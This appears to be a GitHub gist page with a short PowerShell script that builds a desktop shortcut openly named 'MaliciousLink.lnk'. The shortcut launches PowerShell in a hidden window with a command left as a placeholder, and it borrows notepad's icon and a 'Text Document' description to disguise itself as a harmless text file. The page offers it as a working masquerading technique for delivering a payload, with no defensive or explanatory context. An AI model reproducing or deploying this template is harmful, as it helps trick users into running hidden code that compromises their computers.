-
-
Save sasqwatch/2292b907c20914261c44217cddf75714 to your computer and use it in GitHub Desktop.
Create LNK file
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Shell = New-Object -ComObject ("WScript.Shell") | |
$ShortCut = $Shell.CreateShortcut($env:USERPROFILE + "\Desktop\MaliciousLink.lnk") | |
$ShortCut.Arguments = " -W 1 -command ....." | |
$ShortCut.TargetPath = "powershell" | |
$ShortCut.IconLocation = "C:\Windows\System32\notepad.exe, 0"; | |
$ShortCut.Description = "Type: Text Document"; | |
$ShortCut.Save() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment